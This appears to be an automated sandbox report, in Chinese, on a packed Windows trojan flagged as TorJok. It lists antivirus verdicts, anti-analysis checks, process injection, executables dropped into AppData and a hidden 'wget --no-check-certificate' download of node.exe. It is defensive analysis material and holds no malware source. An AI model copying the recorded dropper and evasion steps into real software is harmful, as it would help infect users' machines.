7.8
高危
44 个模型检测该样本为恶意！
重新分析
更多

268953af63bad4895dd06c024fd1ec2af2c134623a0e100e26894e4d6bab741e

d99b5066d8cd0f042c6b1aa18855c4f0.exe

分析耗时

86s

最近分析

文件大小

645.5KB
静态报毒 动态报毒 AI SCORE=82 ARTEMIS ATTRIBUTE BILS CLASSIC CONFIDENCE GEN@24TBUS GENERICKD GORGON HIGHCONFIDENCE MUPX SCORE SCRIPTRUNNER TORJOK UNSAFE USXVPHC20 VBFNQ WTDR YMACCO ZPEVDO 更多
鹰眼引擎
未检测 暂无鹰眼引擎检测结果
静态判定
反病毒引擎
查杀引擎 查杀结果 查杀时间 查杀版本
McAfee Artemis!D99B5066D8CD 20200921 6.0.6.653
CrowdStrike win/malicious_confidence_60% (W) 20190702 1.0
Alibaba Trojan:Win32/TorJok.e4464ef7 20190527 0.3.0.5
Baidu 20190318 1.0.0.2
Avast Other:Malware-gen [Trj] 20200922 18.4.3895.0
Tencent Win32.Trojan.Torjok.Wtdr 20200922 1.0.0.1
Kingsoft 20200922 2013.8.14.323
静态指标
Checks if process is being debugged by a debugger (2 个事件)
Time & API Arguments Status Return Repeated
1620809369.884822
IsDebuggerPresent
failed 0 0
1620833999.817751
IsDebuggerPresent
failed 0 0
Command line console output was observed (50 out of 135 个事件)
Time & API Arguments Status Return Repeated
1620833997.692751
WriteConsoleA
buffer: --2021-05-12 21:59:57-- https://nodejs.org/dist/latest-carbon/win-x86/node.exe
console_handle: 0x0000000b
success 1 0
1620833998.817751
WriteConsoleA
buffer: Resolving nodejs.org...
console_handle: 0x0000000b
success 1 0
1620833999.254751
WriteConsoleA
buffer: Connecting to nodejs.org|104.20.22.46|:443...
console_handle: 0x0000000b
success 1 0
1620833999.817751
WriteConsoleA
buffer: WARNING: cannot verify nodejs.org's certificate, issued by `/C=GB/ST=Greater Manchester/L=Salford/O=Sectigo Limited/CN=Sectigo RSA Domain Validation Secure Server CA':
console_handle: 0x0000000b
success 1 0
1620833999.817751
WriteConsoleA
buffer: Unable to locally verify the issuer's authority.
console_handle: 0x0000000b
success 1 0
1620833999.817751
WriteConsoleA
buffer: WARNING: certificate common name `*.nodejs.org' doesn't match requested host name `nodejs.org'.
console_handle: 0x0000000b
success 1 0
1620833999.817751
WriteConsoleA
buffer: HTTP request sent, awaiting response...
console_handle: 0x0000000b
success 1 0
1620834000.098751
WriteConsoleA
buffer: Length:
console_handle: 0x0000000b
success 1 0
1620834000.098751
WriteConsoleA
buffer: (18M)
console_handle: 0x0000000b
success 1 0
1620834000.098751
WriteConsoleA
buffer: [application/octet-stream]
console_handle: 0x0000000b
success 1 0
1620834000.098751
WriteConsoleA
buffer: Saving to: `node.exe'
console_handle: 0x0000000b
success 1 0
1620834000.114751
WriteConsoleA
buffer: 0% [ ] 0 --.-K/s
console_handle: 0x0000000b
success 1 0
1620834000.395751
WriteConsoleA
buffer: 0% [ ] 51,370 250K/s
console_handle: 0x0000000b
success 1 0
1620834000.676751
WriteConsoleA
buffer: 0% [ ] 103,339 252K/s
console_handle: 0x0000000b
success 1 0
1620834001.036751
WriteConsoleA
buffer: 0% [ ] 157,252 234K/s
console_handle: 0x0000000b
success 1 0
1620834001.458751
WriteConsoleA
buffer: 0% [ ] 173,104 177K/s
console_handle: 0x0000000b
success 1 0
1620834002.129751
WriteConsoleA
buffer: 1% [ ] 210,101 142K/s
console_handle: 0x0000000b
success 1 0
1620834002.583751
WriteConsoleA
buffer: 1% [ ] 307,873 170K/s
console_handle: 0x0000000b
success 1 0
1620834002.864751
WriteConsoleA
buffer: 1% [ ] 340,641 168K/s
console_handle: 0x0000000b
success 1 0
1620834003.301751
WriteConsoleA
buffer: 2% [ ] 389,793 166K/s
console_handle: 0x0000000b
success 1 0
1620834003.708751
WriteConsoleA
buffer: 2% [ ] 455,329 172K/s
console_handle: 0x0000000b
success 1 0
1620834004.067751
WriteConsoleA
buffer: 2% [> ] 504,481 174K/s
console_handle: 0x0000000b
success 1 0
1620834004.364751
WriteConsoleA
buffer: 3% [> ] 570,017 182K/s eta 96s
console_handle: 0x0000000b
success 1 0
1620834004.754751
WriteConsoleA
buffer: 3% [> ] 602,785 177K/s eta 96s
console_handle: 0x0000000b
success 1 0
1620834005.489751
WriteConsoleA
buffer: 3% [> ] 717,473 182K/s eta 96s
console_handle: 0x0000000b
success 1 0
1620834006.051751
WriteConsoleA
buffer: 4% [> ] 848,545 194K/s eta 88s
console_handle: 0x0000000b
success 1 0
1620834006.661751
WriteConsoleA
buffer: 5% [=> ] 946,849 197K/s eta 88s
console_handle: 0x0000000b
success 1 0
1620834006.989751
WriteConsoleA
buffer: 5% [=> ] 1,061,537 210K/s eta 88s
console_handle: 0x0000000b
success 1 0
1620834007.254751
WriteConsoleA
buffer: 6% [=> ] 1,110,689 211K/s eta 88s
console_handle: 0x0000000b
success 1 0
1620834007.817751
WriteConsoleA
buffer: 6% [=> ] 1,127,073 198K/s eta 85s
console_handle: 0x0000000b
success 1 0
1620834008.364751
WriteConsoleA
buffer: 6% [=> ] 1,241,761 200K/s eta 85s
console_handle: 0x0000000b
success 1 0
1620834009.036751
WriteConsoleA
buffer: 7% [=> ] 1,307,297 191K/s eta 85s
console_handle: 0x0000000b
success 1 0
1620834009.551751
WriteConsoleA
buffer: 7% [=> ] 1,389,217 196K/s eta 83s
console_handle: 0x0000000b
success 1 0
1620834010.051751
WriteConsoleA
buffer: 7% [==> ] 1,421,985 197K/s eta 83s
console_handle: 0x0000000b
success 1 0
1620834011.473751
WriteConsoleA
buffer: 8% [==> ] 1,487,521 185K/s eta 93s
console_handle: 0x0000000b
success 1 0
1620834011.864751
WriteConsoleA
buffer: 8% [==> ] 1,536,673 179K/s eta 93s
console_handle: 0x0000000b
success 1 0
1620834013.223751
WriteConsoleA
buffer: 8% [==> ] 1,553,057 159K/s eta 1m 42s
console_handle: 0x0000000b
success 1 0
1620834013.864751
WriteConsoleA
buffer: 8% [==> ] 1,585,825 154K/s eta 1m 42s
console_handle: 0x0000000b
success 1 0
1620834014.333751
WriteConsoleA
buffer: 9% [==> ] 1,667,745 159K/s eta 1m 42s
console_handle: 0x0000000b
success 1 0
1620834014.739751
WriteConsoleA
buffer: 9% [==> ] 1,716,897 154K/s eta 1m 42s
console_handle: 0x0000000b
success 1 0
1620834015.676751
WriteConsoleA
buffer: 9% [==> ] 1,782,433 149K/s eta 1m 42s
console_handle: 0x0000000b
success 1 0
1620834016.614751
WriteConsoleA
buffer: 9% [==> ] 1,798,817 136K/s eta 1m 50s
console_handle: 0x0000000b
success 1 0
1620834018.098751
WriteConsoleA
buffer: 10% [===> ] 1,913,505 129K/s eta 1m 52s
console_handle: 0x0000000b
success 1 0
1620834018.629751
WriteConsoleA
buffer: 10% [===> ] 1,946,273 118K/s eta 1m 52s
console_handle: 0x0000000b
success 1 0
1620834018.989751
WriteConsoleA
buffer: 10% [===> ] 1,962,657 112K/s eta 1m 52s
console_handle: 0x0000000b
success 1 0
1620834019.364751
WriteConsoleA
buffer: 10% [===> ] 1,979,041 100K/s eta 1m 52s
console_handle: 0x0000000b
success 1 0
1620834019.645751
WriteConsoleA
buffer: 10% [===> ] 1,995,425 96.9K/s eta 1m 56s
console_handle: 0x0000000b
success 1 0
1620834020.114751
WriteConsoleA
buffer: 11% [===> ] 2,028,193 93.9K/s eta 1m 56s
console_handle: 0x0000000b
success 1 0
1620834020.536751
WriteConsoleA
buffer: 11% [===> ] 2,060,961 91.3K/s eta 1m 56s
console_handle: 0x0000000b
success 1 0
1620834020.817751
WriteConsoleA
buffer: 11% [===> ] 2,093,729 90.5K/s eta 1m 56s
console_handle: 0x0000000b
success 1 0
Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 个事件)
Time & API Arguments Status Return Repeated
1620809370.462822
GlobalMemoryStatusEx
success 1 0
行为判定
动态指标
One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.
Allocates read-write-execute memory (usually to unpack itself) (4 个事件)
Time & API Arguments Status Return Repeated
1620833999.817751
NtProtectVirtualMemory
process_identifier: 2856
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x75110000
success 0 0
1620833999.817751
NtProtectVirtualMemory
process_identifier: 2856
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x755e1000
success 0 0
1620833999.848751
NtProtectVirtualMemory
process_identifier: 2856
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x74f81000
success 0 0
1620833999.879751
NtProtectVirtualMemory
process_identifier: 2856
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x75391000
success 0 0
Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (1 个事件)
Time & API Arguments Status Return Repeated
1620809370.478822
GetDiskFreeSpaceExW
root_path: C:\Users\Administrator.Oskar-PC\AppData\Roaming\TN
free_bytes_available: 19615547392
total_number_of_free_bytes: 0
total_number_of_bytes: 0
success 1 0
Creates (office) documents on the filesystem (1 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\TN\document.doc
Creates executable files on the filesystem (3 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\TN\node.exe
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\TN\7za.exe
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\TN\wget.exe
Creates a suspicious process (1 个事件)
cmdline "C:\Windows\System32\cmd.exe" /c document.doc
Drops a binary and executes it (2 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\TN\wget.exe
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\TN\document.doc
Drops an executable to the user AppData folder (3 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\TN\7za.exe
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\TN\node.exe
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\TN\wget.exe
A process created a hidden window (2 个事件)
Time & API Arguments Status Return Repeated
1620809371.853822
ShellExecuteExW
parameters: /c document.doc
filepath: cmd
filepath_r: cmd
show_type: 0
success 1 0
1620809373.165822
ShellExecuteExW
parameters: --no-check-certificate https://nodejs.org/dist/latest-carbon/win-x86/node.exe
filepath: wget
filepath_r: wget
show_type: 0
success 1 0
Searches running processes potentially to identify processes for sandbox evasion, code injection or memory dumping (1 个事件)
The binary likely contains encrypted or compressed data indicative of a packer (2 个事件)
entropy 7.972107043555347 section {'size_of_data': '0x0000d400', 'virtual_address': '0x0001c000', 'entropy': 7.972107043555347, 'name': 'UPX1', 'virtual_size': '0x0000e000'} description A section with a high entropy has been found
entropy 0.6625 description Overall entropy of this PE file is high
The executable is compressed using UPX (2 个事件)
section UPX0 description Section name indicates UPX
section UPX1 description Section name indicates UPX
网络通信
Communicates with host for which no DNS query was performed (1 个事件)
host 172.217.24.14
Resumed a suspended thread in a remote process potentially indicative of process injection (2 个事件)
Process injection Process 472 resumed a thread in remote process 2856
Time & API Arguments Status Return Repeated
1620833999.489499
NtResumeThread
thread_handle: 0x00000250
suspend_count: 1
process_identifier: 2856
success 0 0
File has been identified by 44 AntiVirus engines on VirusTotal as malicious (44 个事件)
MicroWorld-eScan Trojan.GenericKD.43651700
CAT-QuickHeal Trojan.Torjok
McAfee Artemis!D99B5066D8CD
Zillya Trojan.TorJok.Win32.69
Sangfor Malware
CrowdStrike win/malicious_confidence_60% (W)
Alibaba Trojan:Win32/TorJok.e4464ef7
K7GW Trojan ( 0051918e1 )
K7AntiVirus Trojan ( 0051918e1 )
Arcabit Trojan.Generic.D29A1274
Invincea Mal/Generic-S
Symantec ML.Attribute.HighConfidence
APEX Malicious
Paloalto generic.ml
Cynet Malicious (score: 85)
Kaspersky Trojan.Win32.TorJok.lp
BitDefender Trojan.GenericKD.43651700
ViRobot Trojan.Win32.Z.Zpevdo.660961
AegisLab Trojan.Win32.TorJok.4!c
Avast Other:Malware-gen [Trj]
Tencent Win32.Trojan.Torjok.Wtdr
Ad-Aware Trojan.GenericKD.43651700
Sophos Mal/Generic-S
Comodo Packed.Win32.MUPX.Gen@24tbus
F-Secure Trojan.TR/Torjok.vbfnq
VIPRE Trojan.Win32.Generic!BT
TrendMicro TrojanSpy.MSIL.GORGON.USXVPHC20
FireEye Generic.mg.d99b5066d8cd0f04
Emsisoft Trojan.GenericKD.43651700 (B)
Ikarus Trojan.Script
Jiangmin TrojanDownloader.JS.bils
Avira TR/Torjok.vbfnq
Microsoft Trojan:Win32/Ymacco.AA07
ZoneAlarm Trojan.Win32.TorJok.lp
GData Trojan.GenericKD.43651700
ALYac Trojan.Torjok.gen
MAX malware (ai score=82)
Cylance Unsafe
TrendMicro-HouseCall TrojanSpy.MSIL.GORGON.USXVPHC20
Rising Trojan.ScriptRunner!1.CA86 (CLASSIC)
Fortinet W32/TrojanSpy_MSIL_GORGON.USXVPHC20
AVG Other:Malware-gen [Trj]
Panda Trj/CI.A
Qihoo-360 Win32/Trojan.223
可视化分析
二进制图像
暂无二进制图像 该样本未生成二进制可视化图像
运行截图
暂无运行截图 该样本运行过程中未生成截图

👋 欢迎使用 ChatHawk

我是您的恶意软件分析助手，可以帮您分析和解读恶意软件报告。请随时向我提问！

🔍 主要威胁分析
⚡ 行为特征
🛡️ 防护建议
🔧 技术手段
🎯 检测方法
🤖

PE Compile Time

2012-12-31 08:38:32

Imports

Library ADVAPI32.dll:
• 0x430910 FreeSid
Library COMCTL32.dll:
• 0x430918
Library GDI32.dll:
• 0x430920 DeleteDC
Library KERNEL32.DLL:
• 0x430928 LoadLibraryA
• 0x43092c ExitProcess
• 0x430930 GetProcAddress
• 0x430934 VirtualProtect
Library MSVCRT.dll:
• 0x43093c free
Library ole32.dll:
• 0x430944 CoInitialize
Library OLEAUT32.dll:
• 0x43094c SysAllocString
Library SHELL32.dll:
• 0x430954 SHGetMalloc
Library USER32.dll:
• 0x43095c GetDC

Hosts

No hosts contacted.

TCP

Source Source Port Destination Destination Port
192.168.56.101 49177 104.20.22.46 nodejs.org 443

UDP

Source Source Port Destination Destination Port
192.168.56.101 49235 114.114.114.114 53
192.168.56.101 50534 114.114.114.114 53
192.168.56.101 51378 114.114.114.114 53
192.168.56.101 56539 114.114.114.114 53
192.168.56.101 58367 114.114.114.114 53
192.168.56.101 65004 114.114.114.114 53
192.168.56.101 137 192.168.56.255 137
192.168.56.101 138 192.168.56.255 138
192.168.56.101 53657 224.0.0.252 5355
192.168.56.101 55368 224.0.0.252 5355
192.168.56.101 56804 224.0.0.252 5355
192.168.56.101 60123 224.0.0.252 5355
192.168.56.101 62191 224.0.0.252 5355
192.168.56.101 1900 239.255.255.250 1900
192.168.56.101 50535 239.255.255.250 3702
192.168.56.101 56540 239.255.255.250 3702
192.168.56.101 56807 239.255.255.250 1900
192.168.56.101 58707 239.255.255.250 3702

HTTP & HTTPS Requests

No HTTP requests performed.

ICMP traffic

No ICMP traffic performed.

IRC traffic

No IRC requests performed.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Snort Alerts

No Snort Alerts

Sorry! No dropped files.
Sorry! No dropped buffers.